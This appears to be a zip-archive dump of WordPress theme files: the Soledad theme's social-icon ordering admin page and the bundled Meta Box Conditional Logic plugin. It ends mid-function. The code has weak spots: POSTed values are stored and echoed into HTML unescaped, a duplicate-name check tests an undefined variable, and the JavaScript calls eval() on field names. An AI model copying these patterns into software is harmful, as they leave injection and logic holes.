					wp_send_json_success(
						array(
							'type'    => 'remove',
							'message' => esc_html__( 'Social name add successfully.', 'soledad' ),
						)
					);
				}
			}
		}

		public function soledad_add_social() {

			check_ajax_referer( 'ajax-nonce', '_wpnonce' );

			if ( ! current_user_can( 'manage_options' ) ) {
				return;
			}

			$name     = isset( $_POST['name'] ) ? $_POST['name'] : '';
			$url      = isset( $_POST['url'] ) ? esc_url( $_POST['url'] ) : '';
			$icon     = isset( $_POST['icon'] ) ? $_POST['icon'] : '';
			$color    = isset( $_POST['color'] ) ? $_POST['color'] : '';
			$field_id = '_pccs_' . strtolower( sanitize_text_field( $name ) );

			$custom_socials = get_option( 'penci_custom_socials', array() );

			if ( isset( $sidebars[ $field_id ] ) ) {
				wp_send_json_error(
					array(
						'type'    => 'error',
						'message' => esc_html__( 'Social name already exists, please use a different name.', 'soledad' ),
					)
				);
			}

			$custom_socials[ $field_id ] = array(
				'name'  => $name,
				'url'   => $url,
				'icon'  => $icon,
				'color' => $color,
			);

			if ( update_option( 'penci_custom_socials', $custom_socials ) ) {
				wp_send_json_success(
					array(
						'type'    => 'add',
						'name'    => $name,
						'url'     => $url,
						'id'      => $field_id,
						'color'   => $color,
						'img'     => wp_get_attachment_image( $icon ),
						'message' => esc_html__( 'Social name add successfully.', 'soledad' ),
					)
				);
			}
		}

		public function admin_lib() {

			if ( isset( $_GET['page'] ) && $_GET['page'] == 'penci_social_order' ) {
				wp_enqueue_script( 'sortable-lib', PENCI_SOLEDAD_URL . '/inc/dashboard/js/Sortable.min.js', array(), PENCI_SOLEDAD_VERSION );
				wp_enqueue_script( 'sortable-main', PENCI_SOLEDAD_URL . '/inc/dashboard/js/social_order.js', array(), PENCI_SOLEDAD_VERSION );
			}
		}

		public function add_menu() {
			add_submenu_page(
				'soledad_dashboard_welcome',
				esc_html__( 'Add & Order of Social Icons', 'soledad' ),
				esc_html__( 'Add & Order of Social Icons', 'soledad' ),
				'manage_options',
				'penci_social_order',
				array(
					$this,
					'soledad_social_order',
				),
				3
			);
		}

		public function save_order() {
			check_ajax_referer( 'ajax-order-nonce', '_wpnonce' );
			if ( ! current_user_can( 'manage_options' ) ) {
				return;
			}
			$social_update = isset( $_REQUEST['penci_soledad_social_order_list'] ) && $_REQUEST['penci_soledad_social_order_list'] ? $_REQUEST['penci_soledad_social_order_list'] : '';
			if ( $social_update ) {
				update_option( 'penci_social_orders', $social_update );
			}
			wp_send_json_success( array( 'success' ) );
		}

		public function convert_array( $options ) {
			$return = array();
			foreach ( $options as $key => $option ) {
				$return[ $option['id'] ] = $option['label'];
			}

			return $return;
		}

		public function soledad_social_order() {
			$socials = get_option( 'penci_custom_socials', array() );
			$data    = get_option( 'penci_social_orders' );
			$options = array();
			include PENCI_SOLEDAD_DIR . '/inc/customizer/config/sections/pencidesign_new_section_social_section.php';
			$options = $this->convert_array( $options );

			if ( ! empty( $socials ) ) {
				foreach ( $socials as $slug => $attr ) {
					$options[ $slug ] = $attr['name'];
				}
			}

			if ( ! empty( $data ) ) {
				$options = penci_sortArrayByArray( $options, $data );
			}

			?>
			<div class="wrap">
				<h1><?php esc_html_e( 'Order of Social Icons', 'soledad' ); ?></h1>
				<div class="penci-soledad-social-order">
					<ul id="penci_soledad_social_order_list">
						<?php
						if ( ! empty( $options ) ) {
							foreach ( $options as $index => $option ) {

								if ( in_array( $index, array( 'penci_facebook', 'penci_twitter' ) ) ) {
									$class = penci_get_setting( $index ) ? 'has-data' : 'no-data';
								} else {
									$class = get_theme_mod( $index ) ? 'has-data' : 'no-data';
								}

								if ( isset( $socials[ $index ] ) ) {
									$class = 'has-data';
								}

								echo '<li class="' . $class . '" data-id="' . $index . '"><span>' . $option . '</span></li>';
							}
						}
						?>
					</ul>
					<?php wp_nonce_field( 'ajax-order-nonce', 'penci_ajax_processor_order_nonce' ); ?>
				</div>
				<div class="penci-new-social-wrapper">
					<h2><?php _e( 'Add new social item', 'soledad' ); ?></h2>
					<form>

						<?php wp_nonce_field( 'ajax-nonce', 'penci_ajax_processor_nonce' ); ?>

						<div style="display: flex;flex-wrap: wrap;flex-direction: revert;justify-content: space-between;">
							<div class="penci-form-field" style="flex-basis:20%">

								<input class="social_name" name="social_name" type="text" id="social_name" value=""
										placeholder="Social Name">
							</div>
							<div class="penci-form-field" style="flex-basis:20%">


								<input class="social_url" name="social_url" type="url" id="social_url" value=""
										placeholder="Social URL">
							</div>

							<div class="penci-form-field" style="flex-basis:30%">

								<input class="social_color" name="social_color" type="text" id="social_color" value=""
										placeholder="">
								<script>
									jQuery(document).ready(function ($) {

									$('.penci-form-field #social_color').wpColorPicker()

									})
								</script>
							</div>

							<div class="penci-form-field">

								<?php
								$default_image = PENCI_SOLEDAD_URL . '/images/nothumb.jpg';
								?>

								<img data-placeholder="<?php echo $default_image; ?>"
									src="<?php echo $default_image; ?>" alt="" class="penci-placeholder-img"/>


								<button class="button button-alt penci-add-icon"
										data-type="add"><?php _e( 'Upoad Icon', 'soledad' ); ?></button>
								<input type="hidden" class="penci-icon-id" name="penci-icon-id">
							</div>


							<div class="penci-form-field">

								<button class="button button-primary penci-add-social"
										data-type="add"><?php _e( '+ Add Social Item', 'soledad' ); ?></button>


							</div>
						</div>

						<div class="notes" style="margin-top: 6px;">
							<?php _e( 'You should use an <strong>SVG image</strong> for your icon to achieve the best results. You can find <strong>SVG file</strong> types for your icons by conducting a <a target="_blank" href="https://www.google.com/search?q=q=svg+icon&tbm=isch"><strong>search on Google.</strong></a>', 'soledad' ); ?>
						</div>

						<table style="margin-top:20px" class="widefat" id="penci-table">
							<tr>
								<th>Name</th>
								<th>URL</th>
								<th>Icon</th>
								<th>Color</th>
								<th>Delete</th>
							</tr>

							<?php if ( empty( $socials ) ) : ?>

								<tr class="no-social-tr">

									<td colspan="3">No Custom Social Media</td>

								</tr>

							<?php else : ?>

								<?php
								foreach ( (array) $socials as $slug => $social_data ) :

									$name  = isset( $social_data['name'] ) ? $social_data['name'] : $slug;
									$img   = isset( $social_data['icon'] ) ? $social_data['icon'] : '';
									$url   = isset( $social_data['url'] ) ? $social_data['url'] : '';
									$color = isset( $social_data['color'] ) ? $social_data['color'] : '';
									?>

									<tr>
										<td><?php echo esc_html( $name ); ?></td>

										<td><?php echo esc_html( $url ); ?></td>


										<td><?php echo wp_get_attachment_image( $img ); ?></td>

										<td><span aria-label="<?php echo esc_attr( $color ); ?>" class="social-colors-init" style="background-color: <?php echo esc_attr( $color ); ?>;"></span></td>

										<td>
											<button class="button button-small penci-remove-social" data-type="remove"
													data-slug="<?php echo esc_attr( $slug ); ?>">Delete
											</button>
										</td>
									</tr>

									<?php
								endforeach;

							endif; // empty_sidebar
							?>

						</table>

						<p class="penci-notice notice notice-success" style="padding:10px 20px; display:none"></p>

					</form>
				</div>
			</div>
			<div class="penci_soledad_social_order_update">
				<span><?php _e( 'Updated successfully', 'soledad' ); ?></span>
			</div>
			<script>
				Sortable.create(penci_soledad_social_order_list, {
				store: {
					set: function (sortable) {
					var order = sortable.toArray(),
						nonce = jQuery('[name="penci_ajax_processor_order_nonce"]').val()
					jQuery.ajax({
						method: 'POST',
						url: ajaxurl,
						data: {
						_wpnonce: nonce,
						action: 'penci_social_save_order',
						penci_soledad_social_order_list: order,
						},
					}).done(function (msg) {
						jQuery('.penci_soledad_social_order_update').fadeIn()
						setTimeout(function () {
						jQuery('.penci_soledad_social_order_update').fadeOut()
						}, 1200)
					})
					},
				},
				})
			</script>
			<?php
		}
	}
}
new Penci_Social_Order();
PK     N\    K  inc/dashboard/lib/meta-box-conditional-logic/meta-box-conditional-logic.phpnu [        <?php
/**
 * Plugin Name: Meta Box Conditional Logic
 * Plugin URI:  https://metabox.io/plugins/meta-box-conditional-logic/
 * Description: Control the visibility of meta boxes and fields or even HTML elements with ease.
 * Version:     1.6.13
 * Author:      MetaBox.io
 * Author URI:  https://metabox.io
 * License:     GPL2+
 *
 * @package Meta Box
 * @subpackage Meta Box Conditional Logic
 */

// Prevent loading this file directly.
defined( 'ABSPATH' ) || exit;

if ( ! function_exists( 'mb_conditional_logic_load' ) ) {
	/**
	 * Hook to 'init' with priority 5 to make sure all actions are registered before Meta Box 4.9.0 runs
	 */
	add_action( 'init', 'mb_conditional_logic_load', 5 );

	/**
	 * Load plugin files after Meta Box is loaded
	 */
	function mb_conditional_logic_load() {
		if ( ! defined( 'RWMB_VER' ) ) {
			return;
		}

		require __DIR__ . '/conditional-logic.php';
		new MB_Conditional_Logic;
	}
}
PK     N\nۿB  B  A  inc/dashboard/lib/meta-box-conditional-logic/conditional-logic.jsnu [        ( function ( $, window, document, wp ) {
	'use strict';

	var conditions = window.conditions,
		inputSelectors = 'input[class*="rwmb"], textarea[class*="rwmb"], select[class*="rwmb"], button[class*="rwmb"]';


	////////// SELECTOR CACHE //////////

	/**
	 * Selector cache.
	 *
	 * @link https://ttmm.io/tech/selector-caching-jquery/
	 * @param $scope Scope (jQuery element). Pass empty string to use global scope.
	 */
	function SelectorCache( $scope ) {
		this.collection = {};
		this.$scope = $scope;
	}
	SelectorCache.prototype.get = function ( selector ) {
		if ( undefined === this.collection[selector] ) {
			this.collection[selector] = this.$scope ? this.$scope.find( selector ) : $( selector );
		}

		return this.collection[selector];
	};

	var globalSelectorCache = new SelectorCache();

	function getSelectorCache( $scope ) {
		return $scope ? new SelectorCache( $scope ) : globalSelectorCache;
	}


	////////// GUTENBERG-RELATED FUNCTIONS //////////

	var wpElements = {
		page_template: '#page_template',
		post_format: 'input[name="post_format"]',
		parent_id: '#parent_id',
		post_ID: '#post_ID'
	};
	var wpGutenbergMap = {
		page_template: 'template',
		post_format: 'format',
		parent_id: 'parent',
		post_ID: 'id',
		post_category: 'categories',
		tags: 'tags'
	};

	function isGutenbergActive() {
		return document.body.classList.contains( 'block-editor-page' );
	}

	function isWpElement( element ) {
		return isGutenbergActive() ? wpGutenbergMap.hasOwnProperty( element ) : wpElements.hasOwnProperty( element );
	}

	function isGutenbergElement( element ) {
		return isGutenbergActive() ? wpGutenbergMap.hasOwnProperty( element ) : false;
	}

	function getWpSelector( element ) {
		return ! isGutenbergActive() && isWpElement( element ) ? wpElements[element] : null;
	}

	function getWpElementValue( element ) {
		if ( isGutenbergActive() ) {
			return wp.data.select( 'core/editor' ).getEditedPostAttribute( wpGutenbergMap[element] );
		}
		var $element = globalSelectorCache.get( getWpSelector( element ) );
		return 'post_format' === element ? $element.filter( ':checked' ).val() : $element.val();
	}


	////////// COMPARISON HELPER FUNCTIONS //////////

	/**
	 * Check if an array contains a value using soft comparison.
	 * Used when users set post_category = [1, 2] or ['1', '2']. Both should work.
	 * Note: Array.indexOf(), Array.includes(), _.contains() use strict comparison.
	 */
	function contains( list, value ) {
		var i = list.length;
		while ( i-- ) {
			if ( list[i] == value ) {
				return true;
			}
		}
		return false;
	}

	function compare( needle, haystack, operator ) {
		if ( needle === null || typeof needle === 'undefined' ) {
			needle = '';
		}

		switch ( operator ) {
		case '=':
			if ( ! Array.isArray( needle ) || ! Array.isArray( haystack ) ) {
				return needle == haystack;
			}
			// Simple comparison for 2 arrays.
			var ok1 = needle.every( function ( value ) {
				return contains( haystack, value );
			} );
			var ok2 = haystack.every( function ( value ) {
				return contains( needle, value );
			} );
			return ok1 && ok2;

		case '>=':
			return needle >= haystack;

		case '>':
			return needle > haystack;

		case '<=':
			return needle <= haystack;

		case '<':
			return needle < haystack;

		case 'contains':
			if ( Array.isArray( needle ) ) {
				return contains( needle, haystack );
			} else if ( typeof needle === 'string' ) {
				return needle.indexOf( haystack ) !== -1;
			}
			return needle == haystack;

		case 'in':
			if ( ! Array.isArray( needle ) ) {
				return needle == haystack || contains( haystack, needle );
			}
			// If needle is an array, 'in' means if any of needle's value in haystack.
			var found = false;
			needle.forEach( function ( value ) {
				if ( value == haystack || contains( haystack, value ) ) {
					found = true;
				}
			} );
			return found;

		case 'start_with':
		case 'starts with':
			return needle.indexOf( haystack ) === 0;

		case 'end_with':
		case 'ends with':
			haystack = new RegExp( haystack + '$' );
			return haystack.test( needle );

		case 'match':
			haystack = new RegExp( haystack );
			return haystack.test( needle );

		case 'between':
			if ( Array.isArray( haystack ) && typeof haystack[0] !== 'undefined' && typeof haystack[1] !== 'undefined' ) {
				return needle >= haystack[0] && needle <= haystack[1];
			}
		}
	}


	////////// RUN CONDITIONS //////////

	function runConditionalLogic( $scope ) {
		// Log run time for performance tracking.
		// console.time( 'Run Conditional Logic' );

		// Run only for the new cloned group (when click add clone button) if possible.
		var selectorCache = getSelectorCache( $scope ),
			$conditions = selectorCache.get( '.mbc-conditions' );

		$conditions.each( function () {
			var $this = $( this ),
				conditions = $this.data( 'conditions' ),
				action = typeof conditions['hidden'] !== 'undefined' ? 'hidden' : 'visible',
				logic = conditions[action],
				logicApply = isLogicCorrect( logic, $this ),
				$element = $this.parent();

			if ( ! $element.hasClass( 'rwmb-field' ) ) {
				$element = $element.closest( '.postbox' );
			}

			toggle( $element, logicApply, action );
		} );

		// Show run time.
		// Test 001-visibility-broken: 20 clones < 300ms.
		// console.timeEnd( 'Run Conditional Logic' );

		// Outside conditions.
		_.each( conditions, function ( logics, field ) {
			_.each( logics, function ( logic, action ) {
				if ( typeof logic.when === 'undefined' ) {
					return;
				}

				var selector = getSelector( field, globalSelectorCache ),
					$element = globalSelectorCache.get( selector ),
					logicApply = isLogicCorrect( logic, '' );

				toggle( $element, logicApply, action );
			} );
		} );
	}

	/**
	 * Check if logics attached to fields is correct or not.
	 * If a field is hidden by Conditional Logic, then all dependent fields are hidden also.
	 *
	 * @param  logics Array of logic applied to field.
	 * @param  $field Current field (input) element (jQuery object).
	 * @return boolean
	 */
	function isLogicCorrect( logics, $field ) {
		var relation = typeof logics.relation !== 'undefined' ? logics.relation.toLowerCase() : 'and',
			success = relation === 'and';

		logics.when.forEach( function ( logic ) {
			// Skip check if we already know the result.
			if ( relation === 'and' && ! success ) {
				return;
			}
			if ( relation === 'or' && success ) {
				return;
			}

			// Get scope of current field. Scope is only applied for Group field.
			// A scope is a group or whole meta box which contains event source and current field.
			var $scope = getScope( $field ),
				selectorCache = getSelectorCache( $scope ),
				dependentFieldSelector = getSelector( logic[0], selectorCache );

			// Try broader scope if field is in a cloneable group.
			if ( ! isGutenbergElement( logic[0] ) && ! dependentFieldSelector && $scope && $scope.hasClass( 'rwmb-group-clone' ) ) {
				$scope = getScope( $field, true );
				selectorCache = getSelectorCache( $scope ),
				dependentFieldSelector = getSelector( logic[0], selectorCache );
			}

			// console.log( 'Selector', logic[0], dependentFieldSelector );

			if ( ! isGutenbergElement( logic[0] ) && ! dependentFieldSelector ) {
				return;
			}

			var $dependentField = selectorCache.get( dependentFieldSelector ),
				isDependentFieldVisible = $dependentField.closest( '.rwmb-field' ).attr( 'data-visible' );

			if ( 'hidden' === isDependentFieldVisible ) {
				success = 'hidden';
				return;
			}

			var dependentValue = getValue( logic[0], selectorCache ),
				operator = logic[1],
				value = logic[2],
				negative = false;

			// Cast to string if array has 1 element and its a string
			if ( Array.isArray( dependentValue ) && dependentValue.length === 1 ) {
				dependentValue = dependentValue[0];
			}

			// Allows user using NOT statement.
			if ( compare( operator, 'not', 'contains' ) || compare( operator, '!', 'contains' ) ) {
				negative = true;
				operator = operator.replace( 'not', '' );
				operator = operator.replace( '!', '' );
			}

			operator = operator.trim();

			if ( $.isNumeric( dependentValue ) ) {
				dependentValue = parseInt( dependentValue );
			}

			var result = compare( dependentValue, value, operator );

			if ( negative ) {
				result = ! result;
			}

			// console.log( 'Logic Compare',  logic[0], dependentValue, value, operator, result );

			success = relation === 'and' ? success && result : success || result;
		} );

		return success;
	}


	////////// GET FIELD VALUE / SELECTOR //////////

	function getValue( fieldName, selectorCache ) {
		if ( isWpElement( fieldName ) ) {
			return getWpElementValue( fieldName );
		}
		if ( isGutenbergActive() && compare( fieldName, 'tax_input', 'contains' ) ) {
			var match = fieldName.match( /tax_input\[(.*?)\]/ );
			return wp.data.select( 'core/editor' ).getEditedPostAttribute( match[1] );
		}

		// Allows user define conditional logic by callback
		if ( compare( fieldName, '(', 'contains' ) ) {
			return eval( fieldName );
		}

		var $field = compare( fieldName, '#', 'start_with' ) ? selectorCache.get( fieldName ) : selectorCache.get( '#' + fieldName ),
			value = $field.val();
		if ( $field.length && $field.attr( 'type' ) !== 'checkbox' && typeof value !== 'undefined' && value != null ) {
			return value;
		}

		var selector = null,
			isMultiple = false;

		// Try to find the element via [name] attribute.
		if ( selectorCache.get( '[name="' + fieldName + '"]' ).length ) {
			selector = '[name="' + fieldName + '"]';
		} else if ( selectorCache.get( '[name*="' + fieldName + '"]' ).length ) {
			selector = '[name*="' + fieldName + '"]';
		} else if ( selectorCache.get( '[name*="' + fieldName + '[]"]' ).length ) {
			selector = '[name*="' + fieldName + '[]"]';
			isMultiple = true;
		}

		if ( null === selector ) {
			return 0;
		}

		var $selector = selectorCache.get( selector ),
			selectorType = $selector.attr( 'type' );
		selectorType = selectorType ? selectorType : $selector.prop( 'tagName' );

		var isSelectTree = 'SELECT' === selectorType && isMultiple;

		if ( ['checkbox', 'radio', 'hidden'].indexOf( selectorType ) === -1 && ! isSelectTree ) {
			return $selector.val();
		}

		// If user selected a checkbox, radio, or select tree, return array of selected fields, or value of singular field.
		var values = [],
			$elements = [];

		if ( selectorType === 'hidden' && fieldName !== 'post_category' && ! compare( selector, 'tax_input', 'contains' ) ) {
			$elements = $selector;
		} else if ( isSelectTree ) {
			$elements = $selector;
		} else {
			$elements = $selector.filter( ':checked' );
		}

		$elements.each( function () {
			values.push( this.value );
		} );

		return values.length > 1 ? values : values.pop();
	}

	function getScope( $field, ignoreGroupClone ) {
		// $field is empty when checking logic of outside conditions.
		if ( ! $field ) {
			return '';
		}

		// If the current field is in a group clone, then all the logics must be within this group.
		if ( ! ignoreGroupClone ) {
			var $groupClone = $field.closest( '.rwmb-group-clone' );
			if ( $groupClone.length ) {
				return $groupClone;
			}
		}

		// If Gutenberg is active.
		if ( isGutenbergActive() ) {
			return $( '#editor' );
		}

		// Global scope. Should be the closest 'form', since in the frontend, users can insert the same meta box in multiple forms.
		// In the backend, edit 'form' wraps almost everything. So it should be okay.
		var $form = $field.closest( 'form' );
		return $form.length ? $form : '';
	}

	function getSelector( name, selectorCache ) {
		if ( isWpElement( name ) ) {
			return getWpSelector( name );
		}

		if ( compare( name, '(', 'contains' ) ) {
			return null;
		}
		if ( ! selectorCache ) {
			selectorCache = globalSelectorCache;
		}

		if ( isUserDefinedSelector( name ) ) {
			return name;
		}

		var selectors = [
			name,
			'#' + name,
			'[name="' + name + '"]',
			'[name^="' + name + '"]',
			'[name*="' + name + '"]'
		];
		var selector = _.find( selectors, function( pattern ) {
			return selectorCache.get( pattern ).length > 0;
		} );

		return selector ? selector : null;
	}

	function isUserDefinedSelector( name ) {
		return compare( name, '.', 'starts with' ) ||
			compare( name, '#', 'starts with' ) ||
			compare( name, '[name', 'contains' ) ||
			compare( name, '>', 'contains' ) ||
			compare( name, '*', 'contains' ) ||
			compare( name, '~', 'contains' );
	}

	////////// HANDLE TOGGLING //////////

	function toggle( $element, logic, action ) {
		if ( logic === true ) {
			action === 'visible' ? applyVisible( $element ) : applyHidden( $element );
		} else if ( logic === false ) {
			action === 'visible' ? applyHidden( $element ) : applyVisible( $element );
		} else if ( logic === 'hidden' ) {
			applyHidden( $element );
		}
	}

	function applyVisible( $element ) {
		// If element is a field, get the field wrapper.
		var $field = $element.closest( '.rwmb-field' );
		if ( $field.length ) {
			$element = $field;
		}

		var toggleType = getToggleType( $element ),
			func = {
				display: 'show',
				slide: 'slideDown',
				fade: 'fadeIn'
			};
		if ( func.hasOwnProperty( toggleType ) ) {
			$element[func[toggleType]]();
		} else {
			$element.css( 'visibility', 'visible' );
		}

		$element.attr( 'data-visible', 'visible' );

		// Reset the required attribute for inputs.
		$element.find( inputSelectors ).each( function() {
			var $this = $( this ),
				$field = $this.closest( '.rwmb-field.required' );
			if ( $field.length ) {
				$this.prop('required', true );
			}
		} );
	}

	function applyHidden( $element ) {
		// If element is a field, get the field wrapper.
		var $field = $element.closest( '.rwmb-field' );
		if ( $field.length ) {
			$element = $field;
		}

		var toggleType = getToggleType( $element ),
			func = {
				display: 'hide',
				slide: 'slideUp',
				fade: 'fadeOut'
			};
		if ( func.hasOwnProperty( toggleType ) ) {
			$element[func[toggleType]]();
		} else {
			$element.css( 'visibility', 'hidden' );
		}

		$element.attr( 'data-visible', 'hidden' );

		// Remove required attribute for inputs and trigger a custom event.
		$element.find( inputSelectors ).each( function() {
			var $this = $( this ),
				required = $this.attr( 'required' );
			if ( required ) {
				$this.prop( 'required', false );
			}
			$this.trigger( 'cl_hide' );
		} );
	}

	function getToggleType( $element ) {
		var $type = $element.closest( '.rwmb-meta-box' ).children( '.mbc-toggle-type' );
		return $type.length ? $type.data( 'toggle_type' ) : 'display';
	}

	////////// EVENTS //////////

	var watchedElements;

	function getWatchedElements() {
		watchedElements = [];

		$( '.mbc-conditions' ).each( function () {
			var fieldConditions = $( this ).data( 'conditions' ),
				action = typeof fieldConditions['hidden'] !== 'undefined' ? 'hidden' : 'visible',
				logic = fieldConditions[action];

			logic.when.forEach( addWatchedElement, this );
		} );

		// Outside conditions.
		_.each( conditions, function ( logics ) {
			_.each( logics, function ( logic ) {
				if ( typeof logic.when === 'undefined' ) {
					return;
				}
				logic.when.forEach( addWatchedElement, null );
			} );
		} );

		// Removed duplicated and empty selectors.
		watchedElements = _.uniq( watchedElements ).filter( Boolean ).join();
	}

	function addWatchedElement( logic ) {
		if ( compare( logic[0], '(', 'contains' ) ) {
			return;
		}

		// Find selector within correct scope to speed up.
		var $scope = null;
		if ( null !== this ) {
			$scope = getScope( $( this ) );
		}
		var selectorCache = getSelectorCache( $scope ),
			selector = getSelector( logic[0], selectorCache );

			if ( ! selector ) {
				selector = '#' + logic[0];
			}

		watchedElements.push( selector );
	}


	////////// MAIN CODE //////////

	function watch() {
		getWatchedElements();

		// In Gutenberg, simply subscribe to all changes.
		if ( isGutenbergActive() ) {
			wp.data.subscribe( runConditionalLogic );
		}

		// Listening eventSource apply conditional logic when eventSource is change.
		if ( watchedElements.length > 1 ) {
			$( document )
				.off( 'change keyup', watchedElements )
				.on( 'change keyup', watchedElements, function() {
					var $scope = getScope( $( this ) );
					runConditionalLogic( $scope );
				} );
		}

		// Featured image replaces HTML, thus the event listening above doesn't work.
		// We have to detect DOM change.
		if ( -1 !== watchedElements.indexOf( '_thumbnail_id' ) ) {
			$( '#postimagediv' ).on( 'DOMSubtreeModified', runConditionalLogic );
		}

		// For groups.
		$( document ).on( 'clone_completed',function( event, $group ) {
			runConditionalLogic( $group );
		} );
	}

	// Run when page finishes loading to improve performance.
	// https://github.com/wpmetabox/meta-box/issues/1195.
	$( window ).on( 'load', function () {
		runConditionalLogic();
		watch();

		// When a block switches to edit mode, get watched elements and watch again.
		$( document ).on( 'mb-blocks-edit-ready', function( e ) {
			watch();
			runConditionalLogic( $( e.target ) );
		} );
	} );
} )( jQuery, window, document, wp );
PK     N\4$    B  inc/dashboard/lib/meta-box-conditional-logic/conditional-logic.phpnu [        <?php
class MB_Conditional_Logic {
	private $has_conditions = false;
	private $outside_conditions = null;

	public function __construct() {
		add_action( 'rwmb_before', array( $this, 'insert_meta_box_conditions' ) );
		add_action( 'rwmb_before', array( $this, 'insert_toggle_type' ) );
		add_filter( 'rwmb_wrapper_html', array( $this, 'insert_field_conditions' ), 10, 2 );
		add_action( 'rwmb_after', array( $this, 'enqueue_in_footer' ) );

		add_action( 'rwmb_enqueue_scripts', [ $this, 'enqueue_in_customizer_gutenberg' ] );
	}

	public function insert_meta_box_conditions( $obj ) {
		echo $this->get_conditions_html( $obj->meta_box );
	}

	public function insert_toggle_type( $obj ) {
		if ( $obj->toggle_type ) {
			echo '<script type="html/template" class="mbc-toggle-type" data-toggle_type="' . esc_attr( $obj->toggle_type ) . '"></script>';
		}
	}

	public function insert_field_conditions( $begin, $field ) {
		return $begin . $this->get_conditions_html( $field );
	}

	/**
	 * Get outputted HTML for conditions.
	 *
	 * @param array $settings Meta box/field settings.
	 */
	private function get_conditions_html( $settings ) {
		if ( empty( $settings['visible'] ) && empty( $settings['hidden'] ) ) {
			return '';
		}

		$this->has_conditions = true;

		$conditions = $this->parse_conditions( $settings );
		return '<script type="html/template" class="mbc-conditions" data-conditions="' . esc_attr( wp_json_encode( $conditions ) ) . '"></script>';
	}

	public function enqueue_in_footer() {
		// Bypass if no meta box/field/outside conditions.
		if ( ! $this->has_conditions && ! $this->get_outside_conditions() ) {
			return;
		}

		$this->enqueue();

		// Reset the check for the next meta box.
		$this->has_conditions = false;
	}

	public function enqueue_in_customizer_gutenberg() {
		// In Customizer (for Settings Page extension), meta boxes are loaded via JavaScript.
		// We can't enqueue with "rwmb_after", and must use "rwmb_enqueue_scripts".
		if ( is_customize_preview() ) {
			$this->enqueue();
		}

		// Always enqueue for Gutenberg, to make it work inside dynamic blocks (created with MB Blocks).
		if ( ! is_admin() ) {
			return;
		}
		$screen = get_current_screen();
		if ( $screen && method_exists( $screen, 'is_block_editor' ) && $screen->is_block_editor() ) {
			$this->enqueue();
		}
	}

	public function enqueue() {
		list( , $url ) = RWMB_Loader::get_path( __DIR__ );
		wp_enqueue_script( 'mb-conditional-logic', $url . 'conditional-logic.js', array( 'jquery', 'underscore' ), '1.5', true );
		wp_localize_script( 'mb-conditional-logic', 'conditions', $this->get_outside_conditions() );
	}

	private function get_outside_conditions() {
		if ( null !== $this->outside_conditions ) {
			return $this->outside_conditions;
		}

		$this->outside_conditions = apply_filters( 'rwmb_outside_conditions', [] );
		$this->outside_conditions = array_map( [ $this, 'parse_conditions' ], $this->outside_conditions );

		return $this->outside_conditions;
	}

	private function parse_conditions( $conditions ) {
		$output = [];
		if ( ! empty( $conditions['visible'] ) ) {
			$output['visible'] = $this->parse_condition( $conditions['visible'] );
		}
		if ( ! empty( $conditions['hidden'] ) ) {
			$output['hidden'] = $this->parse_condition( $conditions['hidden'] );
		}
		return $output;
	}

	private function parse_condition( $condition ) {
		if ( ! is_array( $condition ) ) {
			return array(
				'when'     => [],
				'relation' => 'and',
			);
		}

		$relation = isset( $condition['relation'] ) && in_array( $condition['relation'], ['and', 'or'] ) ? $condition['relation'] : 'and';

		$condition_to_normalize = $condition;
		if ( isset( $condition['when'] ) && is_array( $condition['when'] ) ) {
			$condition_to_normalize = $condition['when'];
		}

		$when = $this->get_normalized_criteria( $condition_to_normalize );

		return compact( 'when', 'relation' );
	}

	private function get_normalized_criteria( $condition ) {
		$normalized = [];

		foreach ( $condition as $criteria ) {
			if ( is_array( $criteria ) ) {
				$normalized[] = $this->normalize_criteria( $criteria );
			} else {
				$normalized[] = $this->normalize_criteria( $condition );
				break;
			}
		}

		return $normalized;
	}

	private function normalize_criteria( $criteria ) {
		$criteria_length = count( $criteria );

		if ( 2 === $criteria_length ) {
			$criteria = array( $criteria[0], '=', $criteria[1] );
		}

		// Convert slug to id if conditional logic defined using slug for terms.
		if ( strrpos( $criteria[0], 'slug:', - strlen( $criteria[0] ) ) !== false ) {
			$criteria[0] = ltrim( $criteria[0], 'slug:' );

			$criteria[2] = $this->slug_to_id( $criteria[2] );
		}

		return $criteria;
	}

	private function slug_to_id( $slugs ) {
		global $wpdb;

		$slugs    = (array) $slugs;
		$sql      = "SELECT term_id FROM {$wpdb->terms} WHERE slug IN(" . implode( ', ', array_fill( 0, count( $slugs ), '%s' ) ) . ')';
		$prepared = call_user_func_array( array( $wpdb, 'prepare' ), array_merge( array( $sql ), $slugs ) );

		return array_map( 'intval', $wpdb->get_col( $prepared ) );
	}
}
PK     N\z      '  inc/dashboard/lib/conditional/index.phpnu [        <?php

// Silence is goldenPK     N\_#1  1  <  inc/dashboard/lib/conditional/assets/js/conditional-logic.jsnu [        ;(function($)
{
	'use strict';

	var conditions = window.conditions;
	/**
	 * Compare two variables
	 * 
	 * @param Mixed needle Variable 1
	 * @param Mixed haystack Variable 2
	 * @param String Compare Operator
	 *
	 * @return boolean
	 * @return boolean
	 */
	function checkCompareStatement(needle, haystack, compare)
	{
		if ( needle === null || typeof needle === 'undefined' )
			needle = '';

		switch( compare )
		{
			case '=':
				if ( $.isArray(needle) && $.isArray(haystack) )
					return ( $(needle).not(haystack).length === 0 && $(haystack).not(needle).length === 0 );
				else
					return needle == haystack;

			case '>=':
				return needle >= haystack;

			case '>':
				return needle > haystack;

			case '<=':
				return needle <= haystack;

			case '<':
				return needle < haystack;

			case 'contains':
				if ( $.isArray(needle) )
					return $.inArray( haystack, needle ) > -1;  
				else if ( typeof needle === 'string')
					return needle.indexOf( haystack ) > -1;

			case 'in':
				if ( $.isArray(needle) ) {
					var found = false;
		            $.each(needle, function(index, value) {
		            	if ( $.isNumeric(value ) )
		            		value = parseInt(value);

                    	if (haystack.indexOf(value) > -1)
                            found = true;
                    });

                    return found;
		       } else {
		            return haystack.indexOf(needle) > -1;
		       }

			case 'start_with':
				return needle.indexOf(haystack) === 0;
			
			case 'starts with':
				return needle.indexOf(haystack) === 0;
				
			case 'end_with':
				haystack = new RegExp(haystack + '$');
				return haystack.test(needle);

		    case 'ends with':
		        haystack = new RegExp(haystack + '$');
		        return haystack.test(needle);

			case 'match':
				haystack = new RegExp(haystack);
				return haystack.test(needle);

			case 'between':
				if ($.isArray(haystack) && typeof haystack[0] != 'undefined' && typeof haystack[1] != 'undefined')
					return checkCompareStatement(needle, haystack[0], '>=') && checkCompareStatement(needle, haystack[1], '<=');
		}
	}
	
	/**
	 * Put a selector, then retrieve values
	 * 
	 * @param  Element selector Element Selector
	 * 
	 * @return Mixed Selector values
	 */
	function getFieldValue(fieldName, $scope)
	{
		// Allows user define conditional logic by callback
